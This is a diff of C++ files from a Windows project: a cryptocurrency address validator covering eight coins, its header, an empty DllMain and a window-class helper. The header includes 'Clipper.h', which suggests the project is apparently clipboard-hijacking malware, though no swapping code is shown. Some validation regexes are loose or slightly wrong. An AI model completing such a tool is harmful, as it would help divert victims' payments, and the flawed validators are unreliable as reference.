static const std::wstring kBase58Characters = L"123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz";
|
||||
static const std::wstring kHexCharacters = L"0123456789abcdefABCDEF";
|
||||
static const std::wstring kBech32Characters = L"0123456789abcdefghijklmnopqrstuvwxyz";
|
||||
|
||||
bool CryptocurrencyValidator::Validate(Cryptocurrency type, const std::wstring& address)
|
||||
{
|
||||
if (address.empty())
|
||||
return false;
|
||||
|
||||
switch (type)
|
||||
{
|
||||
case Cryptocurrency::Bitcoin:
|
||||
return ValidateBitcoin(address);
|
||||
|
||||
case Cryptocurrency::EVM:
|
||||
return ValidateEVM(address);
|
||||
|
||||
case Cryptocurrency::Monero:
|
||||
return ValidateMonero(address);
|
||||
|
||||
case Cryptocurrency::Litecoin:
|
||||
return ValidateLitecoin(address);
|
||||
|
||||
case Cryptocurrency::Tron:
|
||||
return ValidateTron(address);
|
||||
|
||||
case Cryptocurrency::Solana:
|
||||
return ValidateSolana(address);
|
||||
|
||||
case Cryptocurrency::Ripple:
|
||||
return ValidateRipple(address);
|
||||
|
||||
case Cryptocurrency::Dogecoin:
|
||||
return ValidateDogecoin(address);
|
||||
|
||||
default:
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
bool CryptocurrencyValidator::ValidateBitcoin(const std::wstring& address)
|
||||
{
|
||||
if (ValidateBitcoinLegacy(address))
|
||||
return true;
|
||||
|
||||
if (ValidateBitcoinSegWit(address))
|
||||
return true;
|
||||
|
||||
if (ValidateBitcoinNative(address))
|
||||
return true;
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
bool CryptocurrencyValidator::ValidateBitcoinLegacy(const std::wstring& address)
|
||||
{
|
||||
if (!CheckBitcoinLegacyPrefix(address))
|
||||
return false;
|
||||
|
||||
if (!CheckAddressLength(address, 26, 35))
|
||||
return false;
|
||||
|
||||
if (!CheckBase58Format(address))
|
||||
return false;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool CryptocurrencyValidator::ValidateBitcoinSegWit(const std::wstring& address)
|
||||
{
|
||||
if (!CheckBitcoinSegWitPrefix(address))
|
||||
return false;
|
||||
|
||||
if (!CheckAddressLength(address, 26, 35))
|
||||
return false;
|
||||
|
||||
if (!CheckBase58Format(address))
|
||||
return false;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool CryptocurrencyValidator::ValidateBitcoinNative(const std::wstring& address)
|
||||
{
|
||||
if (address.length() < 42 || address.length() > 62)
|
||||
return false;
|
||||
|
||||
if (address.substr(0, 3) != L"bc1")
|
||||
return false;
|
||||
|
||||
static const std::wregex pattern(L"^bc1[a-zA-HJ-NP-Z0-9]{39,59}$");
|
||||
return MatchesPattern(address, pattern);
|
||||
}
|
||||
|
||||
bool CryptocurrencyValidator::ValidateEVM(const std::wstring& address)
|
||||
{
|
||||
if (address.length() != 42)
|
||||
return false;
|
||||
|
||||
if (address.substr(0, 2) != L"0x" && address.substr(0, 2) != L"0X")
|
||||
return false;
|
||||
|
||||
std::wstring hexPart = address.substr(2);
|
||||
|
||||
if (!CheckHexFormat(hexPart))
|
||||
return false;
|
||||
|
||||
if (hexPart.length() != 40)
|
||||
return false;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool CryptocurrencyValidator::ValidateMonero(const std::wstring& address)
|
||||
{
|
||||
if (address.length() != 95 && address.length() != 106)
|
||||
return false;
|
||||
|
||||
wchar_t firstChar = address[0];
|
||||
if (firstChar != L'4' && firstChar != L'8')
|
||||
return false;
|
||||
|
||||
if (!CheckBase58Format(address))
|
||||
return false;
|
||||
|
||||
static const std::wregex pattern(L"^[48][1-9A-HJ-NP-Za-km-z]{94}|^[48][1-9A-HJ-NP-Za-km-z]{105}$");
|
||||
return std::regex_match(address, pattern);
|
||||
}
|
||||
|
||||
bool CryptocurrencyValidator::ValidateLitecoin(const std::wstring& address)
|
||||
{
|
||||
if (ValidateLitecoinLegacy(address))
|
||||
return true;
|
||||
|
||||
if (ValidateLitecoinSegWit(address))
|
||||
return true;
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
bool CryptocurrencyValidator::ValidateLitecoinLegacy(const std::wstring& address)
|
||||
{
|
||||
if (!CheckLitecoinLegacyPrefix(address))
|
||||
return false;
|
||||
|
||||
if (!CheckAddressLength(address, 27, 34))
|
||||
return false;
|
||||
|
||||
if (!CheckBase58Format(address))
|
||||
return false;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool CryptocurrencyValidator::ValidateLitecoinSegWit(const std::wstring& address)
|
||||
{
|
||||
if (address.length() < 11 || address.length() > 90)
|
||||
return false;
|
||||
|
||||
if (address.substr(0, 4) != L"ltc1")
|
||||
return false;
|
||||
|
||||
static const std::wregex pattern(L"^ltc1[a-zA-HJ-NP-Z0-9]{8,87}$");
|
||||
return MatchesPattern(address, pattern);
|
||||
}
|
||||
|
||||
bool CryptocurrencyValidator::ValidateTron(const std::wstring& address)
|
||||
{
|
||||
if (!CheckTronPrefix(address))
|
||||
return false;
|
||||
|
||||
if (address.length() != 34)
|
||||
return false;
|
||||
|
||||
if (!CheckBase58Format(address))
|
||||
return false;
|
||||
|
||||
static const std::wregex pattern(L"^T[1-9A-HJ-NP-Za-km-z]{33}$");
|
||||
return MatchesPattern(address, pattern);
|
||||
}
|
||||
|
||||
bool CryptocurrencyValidator::ValidateSolana(const std::wstring& address)
|
||||
{
|
||||
if (!CheckAddressLength(address, 32, 44))
|
||||
return false;
|
||||
|
||||
wchar_t firstChar = address[0];
|
||||
if (firstChar == L'r') // XRP
|
||||
return false;
|
||||
|
||||
if (firstChar == L'D') // DOGE
|
||||
return false;
|
||||
|
||||
if (firstChar == L'T') // TRON
|
||||
return false;
|
||||
|
||||
if (firstChar == L'4' || firstChar == L'8') // Monero
|
||||
return false;
|
||||
|
||||
if (firstChar == L'1' || firstChar == L'3') // Bitcoin legacy
|
||||
return false;
|
||||
|
||||
if (firstChar == L'L' || firstChar == L'M') // Litecoin
|
||||
return false;
|
||||
|
||||
if (firstChar == L'0') // EVM
|
||||
return false;
|
||||
|
||||
if (!CheckBase58Format(address))
|
||||
return false;
|
||||
|
||||
static const std::wregex pattern(L"^[1-9A-HJ-NP-Za-km-z]{32,44}$");
|
||||
return MatchesPattern(address, pattern);
|
||||
}
|
||||
|
||||
bool CryptocurrencyValidator::ValidateRipple(const std::wstring& address)
|
||||
{
|
||||
if (address.empty() || address[0] != L'r')
|
||||
return false;
|
||||
|
||||
if (!CheckAddressLength(address, 25, 35))
|
||||
return false;
|
||||
|
||||
if (!CheckBase58Format(address))
|
||||
return false;
|
||||
|
||||
static const std::wregex pattern(L"^r[0-9a-zA-Z]{24,34}$");
|
||||
return MatchesPattern(address, pattern);
|
||||
}
|
||||
|
||||
bool CryptocurrencyValidator::ValidateDogecoin(const std::wstring& address)
|
||||
{
|
||||
if (!CheckDogecoinPrefix(address))
|
||||
return false;
|
||||
|
||||
if (address.length() != 34)
|
||||
return false;
|
||||
|
||||
if (address[0] != L'D')
|
||||
return false;
|
||||
|
||||
wchar_t secondChar = address[1];
|
||||
if (!(secondChar >= L'5' && secondChar <= L'9') &&
|
||||
!(secondChar >= L'A' && secondChar <= L'H') &&
|
||||
!(secondChar >= L'J' && secondChar <= L'N') &&
|
||||
!(secondChar >= L'P' && secondChar <= L'U'))
|
||||
return false;
|
||||
|
||||
if (!CheckBase58Format(address))
|
||||
return false;
|
||||
|
||||
static const std::wregex pattern(L"^D[5-9A-HJ-NP-U][1-9A-HJ-NP-Za-km-z]{32}$");
|
||||
return MatchesPattern(address, pattern);
|
||||
}
|
||||
|
||||
bool CryptocurrencyValidator::CheckBitcoinLegacyPrefix(const std::wstring& address)
|
||||
{
|
||||
if (address.empty())
|
||||
return false;
|
||||
|
||||
wchar_t firstChar = address[0];
|
||||
return firstChar == L'1' || firstChar == L'3';
|
||||
}
|
||||
|
||||
bool CryptocurrencyValidator::CheckBitcoinSegWitPrefix(const std::wstring& address)
|
||||
{
|
||||
if (address.empty())
|
||||
return false;
|
||||
|
||||
wchar_t firstChar = address[0];
|
||||
return firstChar == L'3';
|
||||
}
|
||||
|
||||
bool CryptocurrencyValidator::CheckLitecoinLegacyPrefix(const std::wstring& address)
|
||||
{
|
||||
if (address.empty())
|
||||
return false;
|
||||
|
||||
wchar_t firstChar = address[0];
|
||||
return firstChar == L'L' || firstChar == L'M' || firstChar == L'3';
|
||||
}
|
||||
|
||||
bool CryptocurrencyValidator::CheckTronPrefix(const std::wstring& address)
|
||||
{
|
||||
if (address.empty())
|
||||
return false;
|
||||
|
||||
return address[0] == L'T';
|
||||
}
|
||||
|
||||
bool CryptocurrencyValidator::CheckRipplePrefix(const std::wstring& address)
|
||||
{
|
||||
if (address.empty())
|
||||
return false;
|
||||
|
||||
return address[0] == L'r';
|
||||
}
|
||||
|
||||
bool CryptocurrencyValidator::CheckDogecoinPrefix(const std::wstring& address)
|
||||
{
|
||||
if (address.empty())
|
||||
return false;
|
||||
|
||||
return address[0] == L'D';
|
||||
}
|
||||
|
||||
bool CryptocurrencyValidator::CheckAddressLength(const std::wstring& address, size_t minLen, size_t maxLen)
|
||||
{
|
||||
size_t len = address.length();
|
||||
return len >= minLen && len <= maxLen;
|
||||
}
|
||||
|
||||
bool CryptocurrencyValidator::CheckCharacterSet(const std::wstring& address, const std::wstring& allowedChars)
|
||||
{
|
||||
for (wchar_t ch : address)
|
||||
{
|
||||
if (allowedChars.find(ch) == std::wstring::npos)
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool CryptocurrencyValidator::CheckHexFormat(const std::wstring& address)
|
||||
{
|
||||
return CheckCharacterSet(address, kHexCharacters);
|
||||
}
|
||||
|
||||
bool CryptocurrencyValidator::CheckBase58Format(const std::wstring& address)
|
||||
{
|
||||
return CheckCharacterSet(address, kBase58Characters);
|
||||
}
|
||||
|
||||
bool CryptocurrencyValidator::MatchesPattern(const std::wstring& address, const std::wregex& pattern)
|
||||
{
|
||||
return std::regex_match(address, pattern);
|
||||
}
|
||||
Executable
+41
@@ -0,0 +1,41 @@
|
||||
#pragma once
|
||||
#include "Clipper.h"
|
||||
#include <string>
|
||||
#include <regex>
|
||||
|
||||
class CryptocurrencyValidator
|
||||
{
|
||||
public:
|
||||
static bool Validate(Cryptocurrency type, const std::wstring& address);
|
||||
|
||||
static bool ValidateBitcoin(const std::wstring& address);
|
||||
static bool ValidateEVM(const std::wstring& address);
|
||||
static bool ValidateMonero(const std::wstring& address);
|
||||
static bool ValidateLitecoin(const std::wstring& address);
|
||||
static bool ValidateTron(const std::wstring& address);
|
||||
static bool ValidateSolana(const std::wstring& address);
|
||||
static bool ValidateRipple(const std::wstring& address);
|
||||
static bool ValidateDogecoin(const std::wstring& address);
|
||||
|
||||
private:
|
||||
static bool ValidateBitcoinLegacy(const std::wstring& address);
|
||||
static bool ValidateBitcoinSegWit(const std::wstring& address);
|
||||
static bool ValidateBitcoinNative(const std::wstring& address);
|
||||
|
||||
static bool ValidateLitecoinLegacy(const std::wstring& address);
|
||||
static bool ValidateLitecoinSegWit(const std::wstring& address);
|
||||
|
||||
static bool CheckBitcoinLegacyPrefix(const std::wstring& address);
|
||||
static bool CheckBitcoinSegWitPrefix(const std::wstring& address);
|
||||
static bool CheckLitecoinLegacyPrefix(const std::wstring& address);
|
||||
static bool CheckTronPrefix(const std::wstring& address);
|
||||
static bool CheckRipplePrefix(const std::wstring& address);
|
||||
static bool CheckDogecoinPrefix(const std::wstring& address);
|
||||
|
||||
static bool CheckAddressLength(const std::wstring& address, size_t minLen, size_t maxLen);
|
||||
static bool CheckCharacterSet(const std::wstring& address, const std::wstring& allowedChars);
|
||||
static bool CheckHexFormat(const std::wstring& address);
|
||||
static bool CheckBase58Format(const std::wstring& address);
|
||||
|
||||
static bool MatchesPattern(const std::wstring& address, const std::wregex& pattern);
|
||||
};
|
||||
Executable
+21
@@ -0,0 +1,21 @@
|
||||
#include <Windows.h>
|
||||
|
||||
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
|
||||
{
|
||||
switch (fdwReason)
|
||||
{
|
||||
case DLL_PROCESS_ATTACH:
|
||||
break;
|
||||
|
||||
case DLL_THREAD_ATTACH:
|
||||
break;
|
||||
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
|
||||
case DLL_PROCESS_DETACH:
|
||||
break;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
Executable
+104
@@ -0,0 +1,104 @@
|
||||
#include "WindowClassManager.hpp"
|
||||
|
||||
WindowClassManager::WindowClassManager(const std::wstring& className) : mClassName(className), mhInstance(GetModuleHandleW(nullptr)), mIsRegistered(false)
|
||||
{
|
||||
}
|
||||
|
||||
WindowClassManager::~WindowClassManager()
|
||||
{
|
||||
if (mIsRegistered)
|
||||
Unregister();
|
||||
}
|
||||
|
||||
bool WindowClassManager::Register(WNDPROC wndProc)
|
||||
{
|
||||
if (mIsRegistered)
|
||||
return true;
|
||||
|
||||
if (!wndProc)
|
||||
return false;
|
||||
|
||||
WNDCLASSEXW wc = CreateWindowClass(wndProc);
|
||||
return RegisterWindowClass(wc);
|
||||
}
|
||||
|
||||
bool WindowClassManager::Unregister()
|
||||
{
|
||||
if (!mIsRegistered)
|
||||
return true;
|
||||
|
||||
return UnregisterWindowClass();
|
||||
}
|
||||
|
||||
bool WindowClassManager::IsRegistered() const
|
||||
{
|
||||
return mIsRegistered;
|
||||
}
|
||||
|
||||
std::wstring WindowClassManager::GetWindowClassName() const
|
||||
{
|
||||
return mClassName;
|
||||
}
|
||||
|
||||
HINSTANCE WindowClassManager::GetInstance() const
|
||||
{
|
||||
return mhInstance;
|
||||
}
|
||||
|
||||
WNDCLASSEXW WindowClassManager::CreateWindowClass(WNDPROC wndProc) const
|
||||
{
|
||||
WNDCLASSEXW wc = {};
|
||||
InitializeWindowClassDefaults(wc);
|
||||
wc.lpfnWndProc = wndProc;
|
||||
return wc;
|
||||
}
|
||||
|
||||
bool WindowClassManager::RegisterWindowClass(const WNDCLASSEXW& wc)
|
||||
{
|
||||
ATOM result = RegisterClassExW(&wc);
|
||||
if (result == 0)
|
||||
return false;
|
||||
|
||||
SetRegistered(true);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool WindowClassManager::UnregisterWindowClass()
|
||||
{
|
||||
BOOL result = UnregisterClassW(mClassName.c_str(), mhInstance);
|
||||
if (!result)
|
||||
return false;
|
||||
|
||||
SetRegistered(false);
|
||||
return true;
|
||||
}
|
||||
|
||||
void WindowClassManager::SetRegistered(bool registered)
|
||||
{
|
||||
mIsRegistered = registered;
|
||||
}
|
||||
|
||||
WNDCLASSEXW WindowClassManager::BuildWindowClassStruct(WNDPROC wndProc) const
|
||||
{
|
||||
WNDCLASSEXW wc = {};
|
||||
wc.cbSize = sizeof(WNDCLASSEXW);
|
||||
wc.lpfnWndProc = wndProc;
|
||||
wc.hInstance = mhInstance;
|
||||
wc.lpszClassName = mClassName.c_str();
|
||||
return wc;
|
||||
}
|
||||
|
||||
void WindowClassManager::InitializeWindowClassDefaults(WNDCLASSEXW& wc) const
|
||||
{
|
||||
wc.cbSize = sizeof(WNDCLASSEXW);
|
||||
wc.lpfnWndProc = nullptr;
|
||||
wc.cbClsExtra = 0;
|
||||
wc.cbWndExtra = 0;
|
||||
wc.hInstance = mhInstance;
|
||||
wc.hIcon = nullptr;
|
||||
wc.hCursor = nullptr;
|
||||
wc.hbrBackground = nullptr;
|
||||
wc.lpszMenuName = nullptr;
|
||||
wc.lpszClassName = mClassName.c_str();
|
||||
wc.hIconSm = nullptr;
|
||||
}
|
||||
Executable
+32
@@ -0,0 +1,32 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include <string>
|
||||
|
||||
class WindowClassManager
|
||||
{
|
||||
public:
|
||||
WindowClassManager(const std::wstring& className);
|
||||
~WindowClassManager();
|
||||
|
||||
bool Register(WNDPROC wndProc);
|
||||
bool Unregister();
|
||||
|
||||
bool IsRegistered() const;
|
||||
std::wstring GetWindowClassName() const;
|
||||
HINSTANCE GetInstance() const;
|
||||
|
||||
WNDCLASSEXW CreateWindowClass(WNDPROC wndProc) const;
|
||||
|
||||
private:
|
||||
bool RegisterWindowClass(const WNDCLASSEXW& wc);
|
||||
bool UnregisterWindowClass();
|
||||
|
||||
void SetRegistered(bool registered);
|
||||
|
||||
WNDCLASSEXW BuildWindowClassStruct(WNDPROC wndProc) const;
|
||||
void InitializeWindowClassDefaults(WNDCLASSEXW& wc) const;
|
||||
|
||||
std::wstring mClassName;
|
||||
HINSTANCE mhInstance;
|
||||
bool mIsRegistered;
|
||||
};
|
||||
Reference in New Issue
Block a user